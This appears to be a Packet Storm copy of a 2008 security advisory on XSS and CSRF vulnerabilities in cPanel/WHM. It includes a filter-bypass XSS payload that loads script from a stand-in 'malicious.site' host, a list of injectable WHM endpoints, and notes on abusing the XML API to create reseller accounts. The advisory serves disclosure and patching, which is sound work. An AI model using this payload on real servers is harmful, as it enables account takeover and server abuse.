exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cpanel-xssxsrf.txt

cpanel-xssxsrf.txt
Posted May 9, 2008
Authored by Matteo Carli | Site matteocarli.com

cPanel versions below 11.18.4 and 11.22.3 suffer from cross site scripting and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2008-2070, CVE-2008-2071
SHA-256 | 1dd189e68d90bffd276d1e91cd22ddf00a141d88a385a1ee2bb8568ce473d976

cpanel-xssxsrf.txt

Change Mirror Download
1. DESCRIPTION OF THE SOFTWARE

cPanel is a hosting automation tool.
WHM interface provides access to the heart of the cPanel and WHM package
and allows a Server Administrator to simply configure a few options and
be on their way to hosting web sites.

2. DESCRIPTION OF THE VULNERABILITY

There are XSS (identified by CVE-2008-2070) and CSRF (identified by
CVE-2008-2071) vulnerabilities on cPanel software.

On WHM there is a simple pattern for XSS defense, but this function
is not well implemented so it's possible to bypass it using a simple
cheat. This is a simple proof of concept:

>><<<<<<<<<<<<script src="http://malicious.site/code.js" a=>>>>>>>><

In this way the function don't sanitize the string so it's possible
to inject arbitrary JavaScript/HTML code.

WHM provide, to the administrator or reseller, all function for manage
the server via Web interface but don't protect them against Cross
Request Forgery (CSRF).
To exploit this vulnerability is not necessary to inject any kind of
code to the victim.

XSS and CSRF flaw is more simple to exploit with cPanel XMLAPI [1]
that use Authentication Basic of WHM (This API works on the same domain
and port of WHM).

3. ANALYSIS

The XSS flaws are present in any function that manages user input.
An example list of vulnerable functions to XSS are:
* Knowlege Base (/scripts2/knowlegebase?issue=[INJECTION]&domain=)
* Change Ip to domain (/scripts2/changeip?domain=any&user=[INJECTION])
* List user account
(/scripts2/listaccts?searchtype=domain&search=[INJECTION]&acctp=30)

The list above is not complete. It's possible there are other scripts
vulnerable.

The CSRF flaw is in all functions that allow to perfom an action (like
restart of a service or the entire server) with HTTP method.

This vulnerability was tested on WHM 11.15.0 - cPanel 11.18.3-R21703.

4. IMPACT

The XSS can be used for create/modify accounts or retrieve important
informations about them.

With CSRF flaws an attacker can create a new user and gain reseller
privilege to it, restart a service, suspend an account, change the
password of an account and many other really intersting things.
See, for example, "createacct" [2] and "setupreseller" [3] function of
cPanel XML API.

5. SOLUTION

Vendor released a new version where the XSS flaw is resolved and CSRF
mitigated enough to consider it trivial.
Update the cPanel to latest release of yours build.
All 11.18.4+ and 11.22.3+ builds include the patch. [4]

Note that anti-CSRF function use HTTP "Referer" header, please keep in
mind is not difficult for an attacker to modify it in various way.

6. TIME LINE

23/03/2008 - Vulnerability discovered
07/04/2008 - cPanel security team contacted
25/04/2008 - cPanel insert patch in all public builds

7. CVE REFERENCE

CVE-2008-2070 - XSS
CVE-2008-2071 - CSRF

8. REFERENCE

[1] http://www.cpanel.net/plugins/xmlapi/
[2] http://www.cpanel.net/plugins/xmlapi/createacct.html
[3] http://www.cpanel.net/plugins/xmlapi/setupreseller.html
[4] http://changelog.cpanel.net/

--
Matteo Carli
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close